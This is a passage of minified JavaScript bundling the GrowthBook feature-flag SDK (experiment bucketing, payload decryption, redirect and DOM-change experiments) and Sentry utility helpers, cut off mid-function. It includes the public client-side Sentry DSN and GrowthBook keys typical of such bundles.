q=A.key,Y=K.global.overrides;if(Y&&Y[q]){if(A=Object.assign({},A,Y[q]),typeof A.url==="string")A.url=dx1(A.url)}return A}function d1A(A,K,q){let Y=K||"id",z="",w=$W8(A);if(w[Y])z=w[Y];if(!z&&q){if(w[q])z=w[q];if(z)Y=q}return{hashAttribute:Y,hashValue:z}}function bEq(A,K){let q=K.user.url;if(!q)return!1;let Y=q.replace(/^https?:\/\//,"").replace(/^[^/]*\//,"/");if(A.test(q))return!0;if(A.test(Y))return!0;return!1}function xEq(A,K){let q=K.global.groups||{};for(let Y=0;Y<A.length;Y++)if(q[A[Y]])return!0;return!1}function uEq(A){let{ctx:K,expKey:q,expBucketVersion:Y,expHashAttribute:z,expFallbackAttribute:w,expMinBucketVersion:H,expMeta:J}=A;Y=Y||0,H=H||0,z=z||"id",J=J||[];let O=ex1(q,Y),X=BEq(K,z,w);if(H>0)for(let G=0;G<=H;G++){let Z=ex1(q,G);if(X[Z]!==void 0)return{variation:-1,versionIsBlocked:!0}}let $=X[O];if($===void 0)return{variation:-1};let _=J.findIndex((G)=>G.key===$);if(_<0)return{variation:-1};return{variation:_}}function ex1(A,K){return K=K||0,`${A}__${K}`}function Au1(A,K){return`${A}||${K}`}function BEq(A,K,q){if(!A.user.stickyBucketAssignmentDocs)return{};let{hashAttribute:Y,hashValue:z}=d1A(A,K),w=Au1(Y,tTA(z)),{hashAttribute:H,hashValue:J}=d1A(A,q),O=J?Au1(H,tTA(J)):null,X={};if(O&&A.user.stickyBucketAssignmentDocs[O])Object.assign(X,A.user.stickyBucketAssignmentDocs[O].assignments||{});if(A.user.stickyBucketAssignmentDocs[w])Object.assign(X,A.user.stickyBucketAssignmentDocs[w].assignments||{});return X}function mEq(A,K,q,Y){let z=Au1(K,q),w=A.user.stickyBucketAssignmentDocs&&A.user.stickyBucketAssignmentDocs[z]?A.user.stickyBucketAssignmentDocs[z].assignments||{}:{},H={...w,...Y},J=JSON.stringify(w)!==JSON.stringify(H);return{key:z,doc:{attributeName:K,attributeValue:q,assignments:H},changed:J}}function gEq(A,K){let q=new Set,Y=K&&K.features?K.features:A.global.features||{},z=K&&K.experiments?K.experiments:A.global.experiments||[];return Object.keys(Y).forEach((w)=>{let H=Y[w];if(H.rules){for(let J of H.rules)if(J.variations){if(q.add(J.hashAttribute||"id"),J.fallbackAttribute)q.add(J.fallbackAttribute)}}}),z.map((w)=>{if(q.add(w.hashAttribute||"id"),w.fallbackAttribute)q.add(w.fallbackAttribute)}),Array.from(q)}async function ZW8(A,K,q){let Y=Ku1(A,q);return K.getAllAssignments(Y)}function Ku1(A,K){let q={};return gEq(A,K).forEach((z)=>{let{hashValue:w}=d1A(A,z);q[z]=tTA(w)}),q}async function WW8(A,K,q){if(A={...A},A.encryptedFeatures){try{A.features=JSON.parse(await p1A(A.encryptedFeatures,K,q))}catch(Y){console.error(Y)}delete A.encryptedFeatures}if(A.encryptedExperiments){try{A.experiments=JSON.parse(await p1A(A.encryptedExperiments,K,q))}catch(Y){console.error(Y)}delete A.encryptedExperiments}if(A.encryptedSavedGroups){try{A.savedGroups=JSON.parse(await p1A(A.encryptedSavedGroups,K,q))}catch(Y){console.error(Y)}delete A.encryptedSavedGroups}return A}function DW8(A){let K=A.apiHost||"https://cdn.growthbook.io";return{apiHost:K.replace(/\/*$/,""),streamingHost:(A.streamingHost||K).replace(/\/*$/,""),apiRequestHeaders:A.apiHostRequestHeaders,streamingHostRequestHeaders:A.streamingHostRequestHeaders}}function KsA(A,K){return K.hashAttribute+K.hashValue+A.key+K.variationId}var CEq="Feature Evaluated",LEq="Experiment Viewed";var jW8=k(()=>{OW8();eTA()});class qsA{constructor(A){if(A=A||{},this.version=FEq,this._options=this.context=A,this._renderer=A.renderer||null,this._trackedExperiments=new Set,this._completedChangeIds=new Set,this._trackedFeatures={},this.debug=!!A.debug,this._subscriptions=new Set,this.ready=!1,this._assigned=new Map,this._activeAutoExperiments=new Map,this._triggeredExpKeys=new Set,this._initialized=!1,this._redirectedUrl="",this._deferredTrackingCalls=new Map,this._autoExperimentsAllowed=!A.disableExperimentsOnLoad,this._destroyCallbacks=[],this.logs=[],this.log=this.log.bind(this),this._saveDeferredTrack=this._saveDeferredTrack.bind(this),this._fireSubscriptions=this._fireSubscriptions.bind(this),this._recordChangedId=this._recordChangedId.bind(this),A.remoteEval){if(A.decryptionKey)throw Error("Encryption is not available for remoteEval");if(!A.clientKey)throw Error("Missing clientKey");let K=!1;try{K=!!new URL(A.apiHost||"").hostname.match(/growthbook\.io$/i)}catch(q){}if(K)throw Error("Cannot use remoteEval on GrowthBook Cloud")}else if(A.cacheKeyAttributes)throw Error("cacheKeyAttributes are only used for remoteEval");if(A.stickyBucketService){let K=A.stickyBucketService;this._saveStickyBucketAssignmentDoc=(q)=>{return K.saveAssignments(q)}}if(A.plugins)for(let K of A.plugins)K(this);if(A.features)this.ready=!0;if(KHA&&A.enableDevMode)window._growthbook=this,document.dispatchEvent(new Event("gbloaded"));if(A.experiments)this.ready=!0,this._updateAllAutoExperiments();if(this._options.stickyBucketService&&this._options.stickyBucketAssignmentDocs)for(let K in this._options.stickyBucketAssignmentDocs){let q=this._options.stickyBucketAssignmentDocs[K];if(q)this._options.stickyBucketService.saveAssignments(q).catch(()=>{})}if(this.ready)this.refreshStickyBuckets(this.getPayload())}async setPayload(A){this._payload=A;let K=await WW8(A,this._options.decryptionKey);if(this._decryptedPayload=K,await this.refreshStickyBuckets(K),K.features)this._options.features=K.features;if(K.savedGroups)this._options.savedGroups=K.savedGroups;if(K.experiments)this._options.experiments=K.experiments,this._updateAllAutoExperiments();this.ready=!0,this._render()}initSync(A){this._initialized=!0;let K=A.payload;if(K.encryptedExperiments||K.encryptedFeatures)throw Error("initSync does not support encrypted payloads");if(this._options.stickyBucketService&&!this._options.stickyBucketAssignmentDocs)this._options.stickyBucketAssignmentDocs=this.generateStickyBucketAssignmentDocsSync(this._options.stickyBucketService,K);if(this._payload=K,this._decryptedPayload=K,K.features)this._options.features=K.features;if(K.experiments)this._options.experiments=K.experiments,this._updateAllAutoExperiments();return this.ready=!0,daA(this,A),this}async init(A){if(this._initialized=!0,A=A||{},A.cacheSettings)UZ8(A.cacheSettings);if(A.payload)return await this.setPayload(A.payload),daA(this,A),{success:!0,source:"init"};else{let{data:K,...q}=await this._refresh({...A,allowStale:!0});return daA(this,A),await this.setPayload(K||{}),q}}async loadFeatures(A){A=A||{},await this.init({skipCache:A.skipCache,timeout:A.timeout,streaming:(this._options.backgroundSync??!0)&&(A.autoRefresh||this._options.subscribeToChanges)})}async refreshFeatures(A){let K=await this._refresh({...A||{},allowStale:!1});if(K.data)await this.setPayload(K.data)}getApiInfo(){return[this.getApiHosts().apiHost,this.getClientKey()]}getApiHosts(){return DW8(this._options)}getClientKey(){return this._options.clientKey||""}getPayload(){return this._payload||{features:this.getFeatures(),experiments:this.getExperiments()}}getDecryptedPayload(){return this._decryptedPayload||this.getPayload()}isRemoteEval(){return this._options.remoteEval||!1}getCacheKeyAttributes(){return this._options.cacheKeyAttributes}async _refresh(A){let{timeout:K,skipCache:q,allowStale:Y,streaming:z}=A;if(!this._options.clientKey)throw Error("Missing clientKey");return pZ8({instance:this,timeout:K,skipCache:q||this._options.disableCache,allowStale:Y,backgroundSync:z??this._options.backgroundSync??!0})}_render(){if(this._renderer)try{this._renderer()}catch(A){console.error("Failed to render",A)}}setFeatures(A){this._options.features=A,this.ready=!0,this._render()}async setEncryptedFeatures(A,K,q){let Y=await p1A(A,K||this._options.decryptionKey,q);this.setFeatures(JSON.parse(Y))}setExperiments(A){this._options.experiments=A,this.ready=!0,this._updateAllAutoExperiments()}async setEncryptedExperiments(A,K,q){let Y=await p1A(A,K||this._options.decryptionKey,q);this.setExperiments(JSON.parse(Y))}async setAttributes(A){if(this._options.attributes=A,this._options.stickyBucketService)await this.refreshStickyBuckets();if(this._options.remoteEval){await this._refreshForRemoteEval();return}this._render(),this._updateAllAutoExperiments()}async updateAttributes(A){return this.setAttributes({...this._options.attributes,...A})}async setAttributeOverrides(A){if(this._options.attributeOverrides=A,this._options.stickyBucketService)await this.refreshStickyBuckets();if(this._options.remoteEval){await this._refreshForRemoteEval();return}this._render(),this._updateAllAutoExperiments()}async setForcedVariations(A){if(this._options.forcedVariations=A||{},this._options.remoteEval){await this._refreshForRemoteEval();return}this._render(),this._updateAllAutoExperiments()}setForcedFeatures(A){this._options.forcedFeatureValues=A,this._render()}async setURL(A){if(A===this._options.url)return;if(this._options.url=A,this._redirectedUrl="",this._options.remoteEval){await this._refreshForRemoteEval(),this._updateAllAutoExperiments(!0);return}this._updateAllAutoExperiments(!0)}getAttributes(){return{...this._options.attributes,...this._options.attributeOverrides}}getForcedVariations(){return this._options.forcedVariations||{}}getForcedFeatures(){return this._options.forcedFeatureValues||new Map}getStickyBucketAssignmentDocs(){return this._options.stickyBucketAssignmentDocs||{}}getUrl(){return this._options.url||""}getFeatures(){return this._options.features||{}}getExperiments(){return this._options.experiments||[]}getCompletedChangeIds(){return Array.from(this._completedChangeIds)}subscribe(A){return this._subscriptions.add(A),()=>{this._subscriptions.delete(A)}}async _refreshForRemoteEval(){if(!this._options.remoteEval)return;if(!this._initialized)return;let A=await this._refresh({allowStale:!1});if(A.data)await this.setPayload(A.data)}getAllResults(){return new Map(this._assigned)}onDestroy(A){this._destroyCallbacks.push(A)}isDestroyed(){return!!this._destroyed}destroy(){if(this._destroyed=!0,this._destroyCallbacks.forEach((A)=>{try{A()}catch(K){console.error(K)}}),this._subscriptions.clear(),this._assigned.clear(),this._trackedExperiments.clear(),this._completedChangeIds.clear(),this._deferredTrackingCalls.clear(),this._trackedFeatures={},this._destroyCallbacks=[],this._payload=void 0,this._saveStickyBucketAssignmentDoc=void 0,dZ8(this),this.logs=[],KHA&&window._growthbook===this)delete window._growthbook;this._activeAutoExperiments.forEach((A)=>{A.undo()}),this._activeAutoExperiments.clear(),this._triggeredExpKeys.clear()}setRenderer(A){this._renderer=A}forceVariation(A,K){if(this._options.forcedVariations=this._options.forcedVariations||{},this._options.forcedVariations[A]=K,this._options.remoteEval){this._refreshForRemoteEval();return}this._updateAllAutoExperiments(),this._render()}run(A){let{result:K}=AsA(A,null,this._getEvalContext());return this._fireSubscriptions(A,K),K}triggerExperiment(A){if(this._triggeredExpKeys.add(A),!this._options.experiments)return null;return this._options.experiments.filter((q)=>q.key===A).map((q)=>{return this._runAutoExperiment(q)}).filter((q)=>q!==null)}triggerAutoExperiments(){this._autoExperimentsAllowed=!0,this._updateAllAutoExperiments(!0)}_getEvalContext(){return{user:this._getUserContext(),global:this._getGlobalContext(),stack:{evaluatedFeatures:new Set}}}_getUserContext(){return{attributes:this._options.user?{...this._options.user,...this._options.attributes}:this._options.attributes,enableDevMode:this._options.enableDevMode,blockedChangeIds:this._options.blockedChangeIds,stickyBucketAssignmentDocs:this._options.stickyBucketAssignmentDocs,url:this._getContextUrl(),forcedVariations:this._options.forcedVariations,forcedFeatureValues:this._options.forcedFeatureValues,attributeOverrides:this._options.attributeOverrides,saveStickyBucketAssignmentDoc:this._saveStickyBucketAssignmentDoc,trackingCallback:this._options.trackingCallback,onFeatureUsage:this._options.onFeatureUsage,devLogs:this.logs,trackedExperiments:this._trackedExperiments,trackedFeatureUsage:this._trackedFeatures}}_getGlobalContext(){return{features:this._options.features,experiments:this._options.experiments,log:this.log,enabled:this._options.enabled,qaMode:this._options.qaMode,savedGroups:this._options.savedGroups,groups:this._options.groups,overrides:this._options.overrides,onExperimentEval:this._subscriptions.size>0?this._fireSubscriptions:void 0,recordChangeId:this._recordChangedId,saveDeferredTrack:this._saveDeferredTrack,eventLogger:this._options.eventLogger}}_runAutoExperiment(A,K){let q=this._activeAutoExperiments.get(A);if(A.manual&&!this._triggeredExpKeys.has(A.key)&&!q)return null;let Y=this._isAutoExperimentBlockedByContext(A),z,w;if(Y)z=_J(this._getEvalContext(),A,-1,!1,"");else({result:z,trackingCall:w}=AsA(A,null,this._getEvalContext())),this._fireSubscriptions(A,z);let H=JSON.stringify(z.value);if(!K&&z.inExperiment&&q&&q.valueHash===H)return z;if(q)this._undoActiveAutoExperiment(A);if(z.inExperiment){let J=QaA(A);if(J==="redirect"&&z.value.urlRedirect&&A.urlPatterns){let O=A.persistQueryString?gZ8(this._getContextUrl(),z.value.urlRedirect):z.value.urlRedirect;if(FaA(O,A.urlPatterns))return this.log("Skipping redirect because original URL matches redirect URL",{id:A.key}),z;this._redirectedUrl=O;let{navigate:X,delay:$}=this._getNavigateFunction();if(X)if(KHA)Promise.all([...w?[UaA(w,this._options.maxNavigateDelay??1000)]:[],new Promise((_)=>window.setTimeout(_,this._options.navigateDelay??$))]).then(()=>{try{X(O)}catch(_){console.error(_)}});else try{X(O)}catch(_){console.error(_)}}else if(J==="visual"){let O=this._options.applyDomChangesCallback?this._options.applyDomChangesCallback(z.value):this._applyDOMChanges(z.value);if(O)this._activeAutoExperiments.set(A,{undo:O,valueHash:H})}}return z}_undoActiveAutoExperiment(A){let K=this._activeAutoExperiments.get(A);if(K)K.undo(),this._activeAutoExperiments.delete(A)}_updateAllAutoExperiments(A){if(!this._autoExperimentsAllowed)return;let K=this._options.experiments||[],q=new Set(K);this._activeAutoExperiments.forEach((Y,z)=>{if(!q.has(z))Y.undo(),this._activeAutoExperiments.delete(z)});for(let Y of K){let z=this._runAutoExperiment(Y,A);if(z!==null&&z!==void 0&&z.inExperiment&&QaA(Y)==="redirect")break}}_fireSubscriptions(A,K){let q=A.key,Y=this._assigned.get(q);if(!Y||Y.result.inExperiment!==K.inExperiment||Y.result.variationId!==K.variationId)this._assigned.set(q,{experiment:A,result:K}),this._subscriptions.forEach((z)=>{try{z(A,K)}catch(w){console.error(w)}})}_recordChangedId(A){this._completedChangeIds.add(A)}isOn(A){return this.evalFeature(A).on}isOff(A){return this.evalFeature(A).off}getFeatureValue(A,K){let q=this.evalFeature(A).value;return q===null?K:q}feature(A){return this.evalFeature(A)}evalFeature(A){return eaA(A,this._getEvalContext())}log(A,K){if(!this.debug)return;if(this._options.log)this._options.log(A,K);else console.log(A,K)}getDeferredTrackingCalls(){return Array.from(this._deferredTrackingCalls.values())}setDeferredTrackingCalls(A){this._deferredTrackingCalls=new Map(A.filter((K)=>K&&K.experiment&&K.result).map((K)=>{return[KsA(K.experiment,K.result),K]}))}async fireDeferredTrackingCalls(){if(!this._options.trackingCallback)return;let A=[];this._deferredTrackingCalls.forEach((K)=>{if(!K||!K.experiment||!K.result)console.error("Invalid deferred tracking call",{call:K});else A.push(this._options.trackingCallback(K.experiment,K.result))}),this._deferredTrackingCalls.clear(),await Promise.all(A)}setTrackingCallback(A){this._options.trackingCallback=A,this.fireDeferredTrackingCalls()}setEventLogger(A){this._options.eventLogger=A}async logEvent(A,K){if(this._destroyed){console.error("Cannot log event to destroyed GrowthBook instance");return}if(this._options.enableDevMode)this.logs.push({eventName:A,properties:K,timestamp:Date.now().toString(),logType:"event"});if(this._options.eventLogger)try{await this._options.eventLogger(A,K||{},this._getUserContext())}catch(q){console.error(q)}else console.error("No event logger configured")}_saveDeferredTrack(A){this._deferredTrackingCalls.set(KsA(A.experiment,A.result),A)}_getContextUrl(){return this._options.url||(KHA?window.location.href:"")}_isAutoExperimentBlockedByContext(A){let K=QaA(A);if(K==="visual"){if(this._options.disableVisualExperiments)return!0;if(this._options.disableJsInjection){if(A.variations.some((q)=>q.js))return!0}}else if(K==="redirect"){if(this._options.disableUrlRedirectExperiments)return!0;try{let q=new URL(this._getContextUrl());for(let Y of A.variations){if(!Y||!Y.urlRedirect)continue;let z=new URL(Y.urlRedirect);if(this._options.disableCrossOriginUrlRedirectExperiments){if(z.protocol!==q.protocol)return!0;if(z.host!==q.host)return!0}}}catch(q){return this.log("Error parsing current or redirect URL",{id:A.key,error:q}),!0}}else return!0;if(A.changeId&&(this._options.blockedChangeIds||[]).includes(A.changeId))return!0;return!1}getRedirectUrl(){return this._redirectedUrl}_getNavigateFunction(){if(this._options.navigate)return{navigate:this._options.navigate,delay:0};else if(KHA)return{navigate:(A)=>{window.location.replace(A)},delay:100};return{navigate:null,delay:0}}_applyDOMChanges(A){if(!KHA)return;let K=[];if(A.css){let q=document.createElement("style");q.innerHTML=A.css,document.head.appendChild(q),K.push(()=>q.remove())}if(A.js){let q=document.createElement("script");if(q.innerHTML=A.js,this._options.jsInjectionNonce)q.nonce=this._options.jsInjectionNonce;document.head.appendChild(q),K.push(()=>q.remove())}if(A.domMutations)A.domMutations.forEach((q)=>{K.push(MW8.default.declarative(q).revert)});return()=>{K.forEach((q)=>q())}}async refreshStickyBuckets(A){if(this._options.stickyBucketService){let K=this._getEvalContext(),q=await ZW8(K,this._options.stickyBucketService,A);this._options.stickyBucketAssignmentDocs=q}}generateStickyBucketAssignmentDocsSync(A,K){if(!("getAllAssignmentsSync"in A)){console.error("generating StickyBucketAssignmentDocs docs requires StickyBucketServiceSync");return}let q=this._getEvalContext(),Y=Ku1(q,K);return A.getAllAssignmentsSync(Y)}inDevMode(){return!!this._options.enableDevMode}}var MW8,KHA,FEq;var PW8=k(()=>{eTA();nZ8();jW8();MW8=o(wW8(),1),KHA=typeof window<"u"&&typeof document<"u",FEq=mZ8()});var VW8=k(()=>{PW8()});var fW8="https://e531a1d9ec1de9064fae9d4affb0b0f4@o1158394.ingest.us.sentry.io/4508259541909504",NW8="client-RRNS7R65EAtReO5XA4xDC3eU6ZdJQi6lLEP6b5j32Me",TW8="sdk-zAZezfDKGoZuXXKe";var YsA=k(()=>{l6()});var SE=v((CW8)=>{Object.defineProperty(CW8,"__esModule",{value:!0});var vW8=Object.prototype.toString;function QEq(A){switch(vW8.call(A)){case"[object Error]":case"[object Exception]":case"[object DOMException]":return!0;default:return zsA(A,Error)}}function qHA(A,K){return vW8.call(A)===`[object ${K}]`}function UEq(A){return qHA(A,"ErrorEvent")}function pEq(A){return qHA(A,"DOMError")}function dEq(A){return qHA(A,"DOMException")}function cEq(A){return qHA(A,"String")}function EW8(A){return typeof A==="object"&&A!==null&&"__sentry_template_string__"in A&&"__sentry_template_values__"in A}function lEq(A){return A===null||EW8(A)||typeof A!=="object"&&typeof A!=="function"}function kW8(A){return qHA(A,"Object")}function iEq(A){return typeof Event<"u"&&zsA(A,Event)}function nEq(A){return typeof Element<"u"&&zsA(A,Element)}function rEq(A){return qHA(A,"RegExp")}function oEq(A){return Boolean(A&&A.then&&typeof A.then==="function")}function aEq(A){return kW8(A)&&"nativeEvent"in A&&"preventDefault"in A&&"stopPropagation"in A}function sEq(A){return typeof A==="number"&&A!==A}function zsA(A,K){try{return A instanceof K}catch(q){return!1}}function tEq(A){return!!(typeof A==="object"&&A!==null&&(A.__isVue||A._isVue))}CW8.isDOMError=pEq;CW8.isDOMException=dEq;CW8.isElement=nEq;CW8.isError=QEq;CW8.isErrorEvent=UEq;CW8.isEvent=iEq;CW8.isInstanceOf=zsA;CW8.isNaN=sEq;CW8.isParameterizedString=EW8;CW8.isPlainObject=kW8;CW8.isPrimitive=lEq;CW8.isRegExp=rEq;CW8.isString=cEq;CW8.isSyntheticEvent=aEq;CW8.isThenable=oEq;CW8.isVueViewModel=tEq});var zvA=v((RW8)=>{Object.defineProperty(RW8,"__esModule",{value:!0});var wsA=SE();function Dkq(A,K=0){if(typeof A!=="string"||K===0)return A;return A.length<=K?A:`${A.slice(0,K)}...`}function jkq(A,K){let q=A,Y=q.length;if(Y<=150)return q;if(K>Y)K=Y;let z=Math.max(K-60,0);if(z<5)z=0;let w=Math.min(z+140,Y);if(w>Y-5)w=Y;if(w===Y)z=Math.max(w-140,0);if(q=q.slice(z,w),z>0)q=`'{snip} ${q}`;if(w<Y)q+=" {snip}";return q}function Mkq(A,K){if(!Array.isArray(A))return"";let q=[];for(let Y=0;Y<A.length;Y++){let z=A[Y];try{if(wsA.isVueViewModel(z))q.push("[VueViewModel]");else q.push(String(z))}catch(w){q.push("[value cannot be serialized]")}}return q.join(K)}function LW8(A,K,q=!1){if(!wsA.isString(A))return!1;if(wsA.isRegExp(K))return K.test(A);if(wsA.isString(K))return q?A===K:A.includes(K);return!1}function Pkq(A,K=[],q=!1){return K.some((Y)=>LW8(A,Y,q))}RW8.isMatchingPattern=LW8;RW8.safeJoin=Mkq;RW8.snipLine=jkq;RW8.stringMatchesSomePattern=Pkq;RW8.truncate=Dkq});var hW8=v((SW8)=>{Object.defineProperty(SW8,"__esModule",{value:!0});var qu1=SE(),Ekq=zvA();function kkq(A,K,q=250,Y,z,w,H){if(!w.exception||!w.exception.values||!H||!qu1.isInstanceOf(H.originalException,Error))return;let J=w.exception.values.length>0?w.exception.values[w.exception.values.length-1]:void 0;if(J)w.exception.values=Ckq(Yu1(A,K,z,H.originalException,Y,w.exception.values,J,0),q)}function Yu1(A,K,q,Y,z,w,H,J){if(w.length>=q+1)return w;let O=[...w];if(qu1.isInstanceOf(Y[z],Error)){yW8(H,J);let X=A(K,Y[z]),$=O.length;IW8(X,z,$,J),O=Yu1(A,K,q,Y[z],z,[X,...O],X,$)}if(Array.isArray(Y.errors))Y.errors.forEach((X,$)=>{if(qu1.isInstanceOf(X,Error)){yW8(H,J);let _=A(K,X),G=O.length;IW8(_,`errors[${$}]`,G,J),O=Yu1(A,K,q,X,z,[_,...O],_,G)}});return O}function yW8(A,K){A.mechanism=A.mechanism||{type:"generic",handled:!0},A.mechanism={...A.mechanism,...A.type==="AggregateError"&&{is_exception_group:!0},exception_id:K}}function IW8(A,K,q,Y){A.mechanism=A.mechanism||{type:"generic",handled:!0},A.mechanism={...A.mechanism,type:"chained",source:K,exception_id:q,parent_id:Y}}function Ckq(A,K){return A.map((q)=>{if(q.value)q.value=Ekq.truncate(q.value,K);return q})}SW8.applyAggregateErrorsToEvent=kkq});var YD=v((bW8)=>{Object.defineProperty(bW8,"__esModule",{value:!0});function HsA(A){return A&&A.Math==Math?A:void 0}var zu1=typeof globalThis=="object"&&HsA(globalThis)||typeof window=="object"&&HsA(window)||typeof self=="object"&&HsA(self)||typeof global=="object"&&HsA(global)||function(){return this}()||{};function Rkq(){return zu1}function ykq(A,K,q){let Y=q||zu1,z=Y.__SENTRY__=Y.__SENTRY__||{};return z[A]||(z[A]=K())}bW8.GLOBAL_OBJ=zu1;bW8.getGlobalObject=Rkq;bW8.getGlobalSingleton=ykq});var wu1=v((xW8)=>{Object.defineProperty(xW8,"__esModule",{value:!0});var bkq=SE(),xkq=YD(),YHA=xkq.getGlobalObject(),ukq=80;function Bkq(A,K={}){if(!A)return"<unknown>";try{let q=A,Y=5,z=[],w=0,H=0,J=" > ",O=J.length,X,$=Array.isArray(K)?K:K.keyAttrs,_=!Array.isArray(K)&&K.maxStringLength||ukq;while(q&&w++<Y){if(X=mkq(q,$),X==="html"||w>1&&H+z.length*O+X.length>=_)break;z.push(X),H+=X.length,q=q.parentNode}return z.reverse().join(J)}catch(q){return"<unknown>"}}function mkq(A,K){let q=A,Y=[],z,w,H,J,O;if(!q||!q.tagName)return"";if(YHA.HTMLElement){if(q instanceof HTMLElement&&q.dataset&&q.dataset.sentryComponent)return q.dataset.sentryComponent}Y.push(q.tagName.toLowerCase());let X=K&&K.length?K.filter((_)=>q.getAttribute(_)).map((_)=>[_,q.getAttribute(_)]):null;if(X&&X.length)X.forEach((_)=>{Y.push(`[${_[0]}="${_[1]}"]`)});else{if(q.id)Y.push(`#${q.id}`);if(z=q.className,z&&bkq.isString(z)){w=z.split(/\s+/);for(O=0;O<w.length;O++)Y.push(`.${w[O]}`)}}let $=["aria-label","type","name","title","alt"];for(O=0;O<$.length;O++)if(H=$[O],J=q.getAttribute(H),J)Y.push(`[${H}="${J}"]`);return Y.join("")}function gkq(){try{return YHA.document.location.href}catch(A){return""}}function Fkq(A){if(YHA.document&&YHA.document.querySelector)return YHA.document.querySelector(A);return null}function Qkq(A){if(!YHA.HTMLElement)return null;let K=A,q=5;for(let Y=0;Y<q;Y++){if(!K)return null;if(K instanceof HTMLElement&&K.dataset.sentryComponent)return K.dataset.sentryComponent;K=K.parentNode}return null}xW8.getComponentName=Qkq;xW8.getDomElement=Fkq;xW8.getLocationHref=gkq;xW8.htmlTreeAsString=Bkq});var Xb=v((uW8)=>{Object.defineProperty(uW8,"__esModule",{value:!0});var lkq=typeof __SENTRY_DEBUG__>"u"||__SENTRY_DEBUG__;uW8.DEBUG_BUILD=lkq});var xR=v((mW8)=>{Object.defineProperty(mW8,"__esModule",{value:!0});var nkq=Xb(),Hu1=YD(),rkq="Sentry Logger ",Ju1=["debug","info","warn","error","log","assert","trace"],Ou1={};function BW8(A){if(!("console"in Hu1.GLOBAL_OBJ))return A();let K=Hu1.GLOBAL_OBJ.console,q={},Y=Object.keys(Ou1);Y.forEach((z)=>{let w=Ou1[z];q[z]=K[z],K[z]=w});try{return A()}finally{Y.forEach((z)=>{K[z]=q[z]})}}function okq(){let A=!1,K={enable:()=>{A=!0},disable:()=>{A=!1},isEnabled:()=>A};if(nkq.DEBUG_BUILD)Ju1.forEach((q)=>{K[q]=(...Y)=>{if(A)BW8(()=>{Hu1.GLOBAL_OBJ.console[q](`${rkq}[${q}]:`,...Y)})}});else Ju1.forEach((q)=>{K[q]=()=>{return}});return K}var akq=okq();mW8.CONSOLE_LEVELS=Ju1;mW8.consoleSandbox=BW8;mW8.logger=akq;mW8.originalConsoleMethods=Ou1});var Xu1=v((QW8)=>{Object.defineProperty(QW8,"__esModule",{value:!0});var KCq=Xb(),wvA=xR(),qCq=/^(?:(\w+):)\/\/(?:(\w+)(?::(\w+)?)?@)([\w.-]+)(?::(\d+))?\/(.+)/;function YCq(A){return A==="http"||A==="https"}function zCq(A,K=!1){let{host:q,path:Y,pass:z,port:w,projectId:H,protocol:J,publicKey:O}=A;return`${J}://${O}${K&&z?`:${z}`:""}@${q}${w?`:${w}`:""}/${Y?`${Y}/`:Y}${H}`}function gW8(A){let K=qCq.exec(A);if(!K){wvA.consoleSandbox(()=>{console.error(`Invalid Sentry Dsn: ${A}`)});return}let[q,Y,z="",w,H="",J]=K.slice(1),O="",X=J,$=X.split("/");if($.length>1)O=$.slice(0,-1).join("/"),X=$.pop();if(X){let _=X.match(/^\d+/);if(_)X=_[0]}return FW8({host:w,pass:z,path:O,projectId:X,port:H,protocol:q,publicKey:Y})}function FW8(A){return{protocol:A.protocol,publicKey:A.publicKey||"",pass:A.pass||"",host:A.host,port:A.port||"",path:A.path||"",projectId:A.projectId}}function wCq(A){if(!KCq.DEBUG_BUILD)return!0;let{port:K,projectId:q,protocol:Y}=A;if(["protocol","publicKey","host","projectId"].find((H)=>{if(!A[H])return wvA.logger.error(`Invalid Sentry Dsn: ${H} missing`),!0;return!1}))return!1;if(!q.match(/^\d+$/))return wvA.logger.error(`Invalid Sentry Dsn: Invalid projectId ${q}`),!1;if(!YCq(Y))return wvA.logger.error(`Invalid Sentry Dsn: Invalid protocol ${Y}`),!1;if(K&&isNaN(parseInt(K,10)))return wvA.logger.error(`Invalid Sentry Dsn: Invalid port ${K}`),!1;return!0}function HCq(A){let K=typeof A==="string"?gW8(A):FW8(A);if(!K||!wCq(K))return;return K}QW8.dsnFromString=gW8;QW8.dsnToString=zCq;QW8.makeDsn=HCq});var $u1=v((pW8)=>{Object.defineProperty(pW8,"__esModule",{value:!0});class UW8 extends Error{constructor(A,K="warn"){super(A);this.message=A,this.name=new.target.prototype.constructor.name,Object.setPrototypeOf(this,new.target.prototype),this.logLevel=K}}pW8.SentryError=UW8});var hE=v((oW8)=>{Object.defineProperty(oW8,"__esModule",{value:!0});var _Cq=wu1(),GCq=Xb(),zHA=SE(),ZCq=xR(),dW8=zvA();function WCq(A,K,q){if(!(K in A))return;let Y=A[K],z=q(Y);if(typeof z==="function")nW8(z,Y);A[K]=z}function iW8(A,K,q){try{Object.defineProperty(A,K,{value:q,writable:!0,configurable:!0})}catch(Y){GCq.DEBUG_BUILD&&ZCq.logger.log(`Failed to add non-enumerable property "${K}" to object`,A)}}function nW8(A,K){try{let q=K.prototype||{};A.prototype=K.prototype=q,iW8(A,"__sentry_original__",K)}catch(q){}}function DCq(A){return A.__sentry_original__}function jCq(A){return Object.keys(A).map((K)=>`${encodeURIComponent(K)}=${encodeURIComponent(A[K])}`).join("&")}function rW8(A){if(zHA.isError(A))return{message:A.message,name:A.name,stack:A.stack,...lW8(A)};else if(zHA.isEvent(A)){let K={type:A.type,target:cW8(A.target),currentTarget:cW8(A.currentTarget),...lW8(A)};if(typeof CustomEvent<"u"&&zHA.isInstanceOf(A,CustomEvent))K.detail=A.detail;return K}else return A}function cW8(A){try{return zHA.isElement(A)?_Cq.htmlTreeAsString(A):Object.prototype.toString.call(A)}catch(K){return"<unknown>"}}function lW8(A){if(typeof A==="object"&&A!==null){let K={};for(let q in A)if(Object.prototype.hasOwnProperty.call(A,q))K[q]=A[q];return K}else return{}}function MCq(A,K=40){let q=Object.keys(rW8(A));if(q.sort(),!q.length)return"[object has no keys]";if(q[0].length>=K)return dW8.truncate(q[0],K);for(let Y=q.length;Y>0;Y--){let z=q.slice(0,Y).join(", ");if(z.length>K)continue;if(Y===q.length)return z;return dW8.truncate(z,K)}return""}function PCq(A){return _u1(A,new Map)}function _u1(A,K){if(VCq(A)){let q=K.get(A);if(q!==void 0)return q;let Y={};K.set(A,Y);for(let z of Object.keys(A))if(typeof A[z]<"u")Y[z]=_u1(A[z],K);return Y}if(Array.isArray(A)){let q=K.get(A);if(q!==void 0)return q;let Y=[];return K.set(A,Y),A.forEach((z)=>{Y.push(_u1(z,K))}),Y}return A}function VCq(A){if(!zHA.isPlainObject(A))return!1;try{let K=Object.getPrototypeOf(A).constructor.name;return!K||K==="Object"}catch(K){return!0}}function fCq(A){let K;switch(!0){case(A===void 